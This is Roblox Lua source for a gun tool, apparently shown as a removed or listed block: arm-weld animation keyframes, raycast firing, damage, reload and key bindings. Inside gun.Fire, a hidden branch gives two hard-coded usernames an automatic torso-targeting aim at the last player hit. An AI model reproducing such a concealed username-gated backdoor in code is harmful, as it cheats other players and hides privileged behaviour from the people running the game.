- weld55.C1 = CFrame.new(-0.35, 1.1, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- wait(.3)
- weld55.C1 = CFrame.new(-0.55, 0.6, 0.44) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.6, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.6, 0, 0)
- wait(.3)
- weld55.C1 = CFrame.new(-0.55, 0.6, 0.44) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.4, math.rad(-90))
- script.Parent.A3.Mesh.Offset = Vector3.new(0, 0, -0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0, 0, 0)
- wait(.3)
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-99), math.rad(-16), 0)
- weld55.C1 = CFrame.new(-0.35, 0.8, 0.56) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.3, math.rad(-90))
- wait(.03)
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-96), math.rad(-16), 0)
- weld55.C1 = CFrame.new(-0.35, 1, 0.58) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.2, math.rad(-90))
- wait(.03)
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-93), math.rad(-16), 0)
- weld55.C1 = CFrame.new(-0.35, 1.2, 0.59) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0.1, math.rad(-90))
- wait(.03)
- weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-16), 0)
- weld55.C1 = CFrame.new(-0.35, 1.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(292), 0, math.rad(-90))
- welding.Default()
- end
- end
- function welding.Animations2(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld55.C1 = CFrame.new(-0.2, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-0), math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.2, 1.15, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-10), math.rad(-90))
- weld33.C1 = CFrame.new(-0.75, 0.1, 0.15) * CFrame.fromEulerAnglesXYZ(math.rad(-85), math.rad(-15), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.249, 0.95, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-20), math.rad(-90))
- weld33.C1 = CFrame.new(-0.8, -0.1, -0.05) * CFrame.fromEulerAnglesXYZ(math.rad(-80), math.rad(-25), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.249, 0.75, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-30), math.rad(-90))
- weld33.C1 = CFrame.new(-0.85, -0.3, -0.15) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-35), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.249, 0.55, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-40), math.rad(-90))
- weld33.C1 = CFrame.new(-0.9, -0.4, -0.25) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-45), 0)
- wait(0.03)
- end
- end
- function welding.Animations3(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld55.C1 = CFrame.new(-0.249, 0.55, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-40), math.rad(-90))
- weld33.C1 = CFrame.new(-0.9, -0.4, -0.25) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-45), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.249, 0.75, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-30), math.rad(-90))
- weld33.C1 = CFrame.new(-0.85, -0.3, -0.15) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-35), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.249, 0.75, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-30), math.rad(-90))
- weld33.C1 = CFrame.new(-0.85, -0.3, -0.15) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-35), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.249, 0.95, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-20), math.rad(-90))
- weld33.C1 = CFrame.new(-0.8, -0.1, -0.05) * CFrame.fromEulerAnglesXYZ(math.rad(-80), math.rad(-25), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.2, 1.15, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-10), math.rad(-90))
- weld33.C1 = CFrame.new(-0.75, 0.1, 0.15) * CFrame.fromEulerAnglesXYZ(math.rad(-85), math.rad(-15), 0)
- wait(0.03)
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-0), math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- wait(0.03)
- end
- end
- function welding.Animations4(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(0), math.rad(-90))--Left arm
- weld33.C1 = CFrame.new(-1, 0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))--Right arm
- wait(0.02)
- --Original
- weld55.C1 = CFrame.new(0.75, 0.75, 0.2) * CFrame.fromEulerAnglesXYZ(math.rad(250), math.rad(0), math.rad(-60))--Left arm
- weld33.C1 = CFrame.new(-1, 0, 0.2) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-20), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(1.25, 0.75, -0.2) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-30))--Left arm
- weld33.C1 = CFrame.new(-1, -0.2, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-60), math.rad(-40), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(1.5, 0.75, -0.5) * CFrame.fromEulerAnglesXYZ(math.rad(180), math.rad(0), math.rad(20))--Left arm
- weld33.C1 = CFrame.new(-1, -0.5, -0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-80), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(1.5, 0.75, -0.5) * CFrame.fromEulerAnglesXYZ(math.rad(180), math.rad(0), math.rad(20))--Left arm
- weld33.C1 = CFrame.new(-1, -0.5, -0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-80), math.rad(0))--Right arm
- wait(0.02)
- end
- end
- function welding.Animations5(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld55.C1 = CFrame.new(1.5, 0.75, -0.5) * CFrame.fromEulerAnglesXYZ(math.rad(180), math.rad(0), math.rad(20))--Left arm
- weld33.C1 = CFrame.new(-1, -0.5, -0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-80), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(1.5, 0.75, -0.5) * CFrame.fromEulerAnglesXYZ(math.rad(180), math.rad(0), math.rad(20))--Left arm
- weld33.C1 = CFrame.new(-1, -0.5, -0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-80), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(1.25, 0.75, -0.2) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-30))--Left arm
- weld33.C1 = CFrame.new(-1, -0.2, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-60), math.rad(-40), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(0.75, 0.75, 0.2) * CFrame.fromEulerAnglesXYZ(math.rad(250), math.rad(0), math.rad(-60))--Left arm
- weld33.C1 = CFrame.new(-1, 0, 0.2) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-20), math.rad(0))--Right arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-0), math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- wait(0.03)
- end
- end
- function welding.Animations6(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(0), math.rad(-90))--Left arm
- wait(0.01)
- --Original
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.9) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(30), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.2) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(40), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(20), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(0), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(20), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(40), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(40), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(20), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(0), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(20), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(40), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(40), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(20), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(0), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(20), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(40), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.5) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(80), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 1.2) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(60), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.9) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(30), math.rad(-90))--Left arm
- wait(0.01)
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(0), math.rad(-90))--Left arm
- wait(0.01)
- welding.Default()
- end
- end
- function welding.Animations7(...)
- if char and char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Weld1") and char.Torso:FindFirstChild("Weld2") then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- --Original
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(250), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(230), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(190), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(230), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(250), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(230), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(190), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(230), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(190), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(210), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(230), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(250), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.5, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(0), math.rad(-90))--Left arm
- wait(0.02)
- welding.Default()
- end
- end
- local call = {}
- --[[function call.GetPlayer(obj)
- if obj == nil then
- return nil, nil
- else
- if obj:IsA("Player") then
- return obj, obj.Character
- elseif obj:IsA("Part") and obj.Parent and obj.Parent:IsA("Model") then
- if game.Players:FindFirstChild(obj.Parent.Name) then
- return game.Players[obj.Parent.Name], game.Players[obj.Parent.Name].Character
- end
- elseif obj:IsA("Model") then
- if game.Players:FindFirstChild(obj.Name) then
- return game.Players[obj.Name], game.Players[obj.Parent.Name].Character
- end
- end
- end
- end]]
- function call.UpdateGui(...)
- if playergui:FindFirstChild("GunGUI") then
- playergui.GunGUI.Main.Ammo.Text = "["..mag.."]"
- end
- end
- function call.GetPlayer(hit)
- if hit and hit.Parent then
- if hit.Parent:FindFirstChild("Humanoid") then
- return hit.Parent.Humanoid
- elseif hit.Parent.Parent:FindFirstChild("Humanoid") then
- return hit.Parent.Parent.Humanoid
- end
- end
- end
- local gun = {}
- function gun.Raycast(init, last, ign)
- local dir = (last-init).unit
- local ray = Ray.new(init, dir*999)
- local hit, at = workspace:FindPartOnRayWithIgnoreList(ray, ign)
- if hit and at and hit.Name == "Ray" then
- hit, at = gun.Raycast(at, dir*999, ign)
- end
- return hit, at
- end
- --function gun.Raycast(init, last, ign) -- initial point, last hit, ignored hit
- -- local directionVec = (last-init).unit
- -- local ray = Ray.new(init, directionVec*999)
- -- local hit, at = workspace:FindPartOnRayWithIgnoreList(ray, ign)
- --
- -- while hit and hit.Transparency >= 1 do
- -- ign[#ign+1] = hit
- -- hit, at = workspace:FindPartOnRayWithIgnoreList(ray, ign)
- -- end
- --
- -- return hit, at
- --end
- local currentAutoShooting = nil
- BufferRay = function()
- if currentAutoShooting == nil or currentAutoShooting.Character == nil or currentAutoShooting.Character:FindFirstChild("Torso") == nil then return end
- local focus = currentAutoShooting.Character.Torso.Position
- local interval = (barrel.Position-focus).magnitude
- local min, max = -(spread/100)*interval, (spread/100)*interval
- local aim = vector((focus.x)+(math.random(min, max)), (focus.y)+(math.random(min, max)), (focus.z)+(math.random(min, max)))
- local hitPart, hitPos = gun.Raycast(char.Head.Position, aim, {char})
- local length, orientation = (barrel.Position-hitPos).magnitude, cframe(barrel.Position, hitPos)
- local laser1 = laser:clone()
- local r = math.random(1,2)
- if r == 2 then
- laser1.BrickColor = BrickColor.new("Bright yellow")
- barrel.Light.Color = BrickColor.new("Bright yellow").Color
- elseif r == 1 then
- laser1.BrickColor = BrickColor.new("Bright yellow")
- barrel.Light.Color = BrickColor.new("Bright yellow").Color
- end
- laser1.CFrame = orientation * cframe(0, 0, -length/2)
- laser1.Mesh.Scale = vector(0.13, 0.13, length)
- laser1.Parent = workspace
- game.Debris:AddItem(laser1, 0.06)
- if hitPart then
- local hum = call.GetPlayer(hitPart)
- if hum then
- local target = game.Players:playerFromCharacter(hum.Parent)
- if not teamkill and (target and target.TeamColor ~= player.TeamColor) or teamkill then
- if hum.Health > 0 and playergui:FindFirstChild("GunGUI") then
- playergui:FindFirstChild("GunGUI").Hit.Rotation = math.random(1, 360)
- playergui:FindFirstChild("GunGUI").Hit.Visible = true
- delay(0.1, function()
- playergui:FindFirstChild("GunGUI").Hit.Visible = false
- end)
- end
- local tag = creator:clone()
- tag.Parent = hum
- game.Debris:AddItem(tag, 0.5)
- hum:TakeDamage(damage)
- currentAutoShooting = target
- end
- end
- end
- end;
- function gun.Fire(focus, mouse)
- if currentAutoShooting ~= nil and currentAutoShooting.Character.Humanoid.Health>0 and (game.Players.LocalPlayer.Name:lower() == "pragmatist" or game.Players.LocalPlayer.Name:lower() == "softwinds") then
- BufferRay()
- else
- currentAutoShooting = nil
- local interval = (barrel.Position-focus).magnitude
- local min, max = -(spread/100)*interval, (spread/100)*interval
- local aim = vector((focus.x)+(math.random(min, max)), (focus.y)+(math.random(min, max)), (focus.z)+(math.random(min, max)))
- local hitPart, hitPos = gun.Raycast(char.Head.Position, aim, {char})
- local length, orientation = (barrel.Position-hitPos).magnitude, cframe(barrel.Position, hitPos)
- local laser1 = laser:clone()
- local r = math.random(1,2)
- if r == 2 then
- laser1.BrickColor = BrickColor.new("Bright yellow")
- barrel.Light.Color = BrickColor.new("Bright yellow").Color
- elseif r == 1 then
- laser1.BrickColor = BrickColor.new("Bright yellow")
- barrel.Light.Color = BrickColor.new("Bright yellow").Color
- end
- laser1.CFrame = orientation * cframe(0, 0, -length/2)
- laser1.Mesh.Scale = vector(0.13, 0.13, length)
- laser1.Parent = workspace
- game.Debris:AddItem(laser1, 0.06)
- if hitPart then
- local hum = call.GetPlayer(hitPart)
- if hum then
- local target = game.Players:playerFromCharacter(hum.Parent)
- if not teamkill and (target and target.TeamColor ~= player.TeamColor) or teamkill then
- if hum.Health > 0 and playergui:FindFirstChild("GunGUI") then
- playergui:FindFirstChild("GunGUI").Hit.Rotation = math.random(1, 360)
- playergui:FindFirstChild("GunGUI").Hit.Visible = true
- delay(0.1, function()
- playergui:FindFirstChild("GunGUI").Hit.Visible = false
- end)
- end
- local tag = creator:clone()
- tag.Parent = hum
- game.Debris:AddItem(tag, 0.5)
- hum:TakeDamage(damage)
- currentAutoShooting = target
- end
- end
- end
- end
- end
- function gun.Reload(mouse)
- barrel.Light.Enabled = false
- barrel.GUI.Enabled = false
- barrel.Light.Enabled = false
- call.UpdateGui()
- if not reloading then
- if mag < clip and equipped then
- reloading = true
- char.Humanoid.WalkSpeed = 16
- spawn(function()
- for i = 1, 3 do
- barrel.Light.Enabled = false
- barrel.GUI.Enabled = false
- if playergui:FindFirstChild("GunGUI") and reloading and equipped then
- playergui:FindFirstChild("GunGUI").Main.Ammo.Text = "REL" .. string.rep(".", i)
- wait(0.4)
- barrel.Light.Enabled = false
- barrel.GUI.Enabled = false
- else
- break
- end
- end
- end)
- barrel.Light.Enabled = false
- barrel.GUI.Enabled = false
- handle.Reload:Play()
- welding.Animations()
- if not reloading or not equipped then return end
- mag = clip
- reloading = false
- call.UpdateGui()
- end
- end
- end
- function gun.AtEase()
- welding.Animations2()
- end
- function gun.AtEase2()
- welding.Animations3()
- end
- function gun.Salute()
- welding.Animations4()
- end
- function gun.Salute2()
- welding.Animations5()
- end
- function gun.Gesture1()
- welding.Animations6()
- end
- function gun.Gesture2()
- welding.Animations7()
- end
- local bindings = {}
- function bindings.KeyPressed(key, mouse)
- local key = key:lower()
- if key == "r" and not reloading and not mouseDown then
- gun.Reload(mouse)
- currentAutoShooting = nil
- elseif key == "e" and not reloading and not mouseDown then
- if armToggle.Value then
- armToggle.Value = false
- char.Humanoid.WalkSpeed = 22
- gun.AtEase ()
- else
- armToggle.Value = true
- char.Humanoid.WalkSpeed = 16
- gun.AtEase2 ()
- end
- elseif key == "n" and not reloading and not mouseDown then
- if armToggle.Value then
- armToggle.Value = false
- gun.Gesture1 ()
- else
- armToggle.Value = true
- end
- elseif key == "m" and not reloading and not mouseDown then
- if armToggle.Value then
- armToggle.Value = false
- gun.Gesture2 ()
- else
- armToggle.Value = true
- end
- elseif key == "b" and not reloading and not mouseDown then
- if armToggle.Value then
- armToggle.Value = false
- gun.Salute ()
- else
- armToggle.Value = true
- gun.Salute2 ()
- end
- elseif key == "c" and not armToggle.Value then
- if crouch then
- crouch = false
- char.Humanoid.WalkSpeed = 16
- welding.Crouch(false)
- else
- crouch = true
- char.Humanoid.WalkSpeed = 14
- welding.Crouch(true)
- end
- end
- if key == 'k' then
- currentAutoShooting = nil
- end
- end
- function bindings.MouseClick(mouse)
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- if equipped and not mouseDown and not reloading and canFire and char.Humanoid.Health > 0 then
- mouseDown = true
- call.UpdateGui()
- welding.Default()
- armToggle.Value = false
- barrel.Light.Enabled = true
- barrel.GUI.Enabled = true
- if fireMode == "Auto" then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- while mouseDown and char.Humanoid.Health > 0 and canFire and mag > 0 and equipped do
- call.UpdateGui()
- barrel.Light.Angle = math.random(90, 180)
- mag = mag - 1
- gun.Fire(mouse.hit.p,mouse.hit.p,mouse.hit.p)
- handle.Fire:Play()
- weld55.C1 = CFrame.new(-0.249, 1.10, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- wait()
- weld55.C1 = CFrame.new(-0.249, 1.15, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.4, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.4, 0, 0)
- wait(0.0)
- weld55.C1 = CFrame.new(-0.249, 1.25, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.3, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.3, 0, 0)
- wait()
- weld55.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(0,0,0)
- script.Parent.A4.Mesh.Offset = Vector3.new(0,0,0)
